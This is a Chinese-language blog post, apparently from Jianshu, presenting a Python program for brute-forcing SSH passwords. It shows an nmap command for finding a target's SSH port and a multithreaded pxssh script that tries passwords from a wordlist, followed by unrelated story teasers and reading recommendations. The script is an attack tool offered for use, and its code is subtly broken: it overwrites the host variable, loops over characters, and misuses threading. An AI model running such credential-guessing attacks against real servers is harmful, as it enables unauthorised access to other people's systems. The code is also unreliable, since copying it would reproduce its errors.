服務器暴力破解的程序(python開發)

服務器暴力破解的程序(python開發)

首先我們看一下基本的原理以及過程

Paste_Image.png

我們首先看一下準備工作:
我們需要獲取目標機器的IP和SHH端口 ssh端口是可以改變的,所以我們需要去掃描機器的正確的ssh端口。我們使用nmap工具去掃描,使用下面這條命令就可以目標機器上面存在的所有的端口以及服務的名稱和使用軟件的版本號:

Nmap -v -p 1-65535 -sV -O -sS -T4 192.168.1.110(目標機器)

Paste_Image.png

大家可以看到我們的ssh端口是我們的12784。ssh版本是5.3
現在我們以及獲取到我們需要的信息了 IP:192.168.1.110 PORT:12784
我們可以開始破解了。

Paste_Image.png

大家可以看到password Found: vagrant這個就是我們的目標機器的密碼:

#python pexpect pxssh遠程登錄 login()方法可以幫助我們去登錄目標機器
from pexpect import pxssh
import optparse  #處理我們命令行參數的模塊
from threading import * #多線程 高并發  可以同時登錄多個密碼
import time
maxConnections = 5 #執行最大線程數 可以修改
#把maxConnection綁定到我們BoundedSemaphore方法 賦值給connection對象
connection_lock = BoundedSemaphore(value=maxConnections)
Found = False  #設置一個初始化值 false后面會用到
Failes = 0 #設置一個初始化值為0

def connect(host, user, password, ports, release): #傳了5個變量進去
    global Found
    global Failes
    try:
        s = pxssh.pxssh() #把方法綁定到對象s 方便調用
        s.login(host,user,password,ports) #調用我們的pxssh.login方法并把參數傳進去
        print '[+] Password Found:' +password  #打印匹配到的密碼
        Found = True #如果等于true就結束
    except Exception, e:
        if 'read_nonblocking' in str(e): #這個字符串表示主機連接次數過多,ssh不對外提供服務
            Failes += 1
            time.sleep(5)  #休息5秒
            connect(host,user,password,False)  #重新調用connect函數
    finally:
        if release:
            connection_lock.release()
def main():
    parser = optparse.OptionParser("usage%prog -H <target host> -u <user> -F <passwordfile> -P <port>")
    #創建一個對象parser綁定一個幫助信息 自動生成
    parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
    parser.add_option('-u', dest='user', type='string', help='specify target user')
    parser.add_option('-F', dest='passwdFile', type='string', help='specify target password file')
    parser.add_option('-P', dest='ports', type='string', help='specify target ports')
    #當我們輸入-p之后會把參數賦值給ports
    (options, args)=parser.parse_args()
    host = options.tgtHost
    user = options.user
    passwdFiles = options.passwdFile
    host = options.passwdFile
    ports = options.ports
    if (host==None) | (user==None) | (passwdFiles==None) | (ports==None):
        #判斷獲取的值是否為空,如果有一個為空就打印幫助信息
        print parser.usage  #打印幫助信息
        exit()
    fn = open(passwdFiles,'r') #使用open方法打開文件并綁定到fn這個對象
    for line in fn.readline():
        if Found:
            print "[*] exiting: password Found"
            exit()
        if Failes > 5:
            print "[!]exiting: Too many socket timeouts"
            exit()
        connection_lock.acquire() #鎖定
        password = line.strip('\r\n')
        print "[-] Testing: " +str(password)
        t = Thread(target = connect(), args=(host, user, password, ports, True))
        #啟動多線程,并傳入方法connet函數 args是函數的參數
if __name__ == '__main__':
    main()

如果您對服務器暴力破解和Python相關知識有興趣,可以加群526929231與大神們共同探討和學習哦!

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市,隨后出現的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 228,702評論 6 534
  • 序言:濱河連續發生了三起死亡事件,死亡現場離奇詭異,居然都是意外死亡,警方通過查閱死者的電腦和手機,發現死者居然都...
    沈念sama閱讀 98,615評論 3 419
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人,你說我怎么就攤上這事。” “怎么了?”我有些...
    開封第一講書人閱讀 176,606評論 0 376
  • 文/不壞的土叔 我叫張陵,是天一觀的道長。 經常有香客問我,道長,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 63,044評論 1 314
  • 正文 為了忘掉前任,我火速辦了婚禮,結果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當我...
    茶點故事閱讀 71,826評論 6 410
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發上,一...
    開封第一講書人閱讀 55,227評論 1 324
  • 那天,我揣著相機與錄音,去河邊找鬼。 笑死,一個胖子當著我的面吹牛,可吹牛的內容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 43,307評論 3 442
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了?” 一聲冷哼從身側響起,我...
    開封第一講書人閱讀 42,447評論 0 289
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后,有當地人在樹林里發現了一具尸體,經...
    沈念sama閱讀 48,992評論 1 335
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 40,807評論 3 355
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發現自己被綠了。 大學時的朋友給我發了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 43,001評論 1 370
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 38,550評論 5 361
  • 正文 年R本政府宣布,位于F島的核電站,受9級特大地震影響,放射性物質發生泄漏。R本人自食惡果不足惜,卻給世界環境...
    茶點故事閱讀 44,243評論 3 347
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 34,667評論 0 26
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至,卻和暖如春,著一層夾襖步出監牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 35,930評論 1 287
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個月前我還...
    沈念sama閱讀 51,709評論 3 393
  • 正文 我出身青樓,卻偏偏與公主長得像,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 47,996評論 2 374

推薦閱讀更多精彩內容

  • 端口:0 服務:Reserved 說明:通常用于分析操作系統。這一方法能夠工作是因為在一些系統中“0”是無效端口,...
    蕭玄辭閱讀 1,205評論 0 2
  • 0x01 Pentest BOX Pentest Box:滲透測試盒子,是一款Windows平臺下預配置的便攜式開...
    Hell0_C閱讀 24,261評論 8 28
  • Nmap是一款網絡掃描和主機檢測的非常有用的工具。 Nmap是不局限于僅僅收集信息和枚舉,同時可以用來作為一個漏洞...
    小兲閱讀 6,975評論 0 5
  • Spring Cloud為開發人員提供了快速構建分布式系統中一些常見模式的工具(例如配置管理,服務發現,斷路器,智...
    卡卡羅2017閱讀 134,785評論 18 139
  • 01 今天午睡前,我習慣性地拿起手機刷微信,卻發現許久不見的好友靈靈突然對我進行了信息轟炸。 十幾個大大的對話框,...
    甜絲絲的薄荷綠閱讀 2,362評論 4 3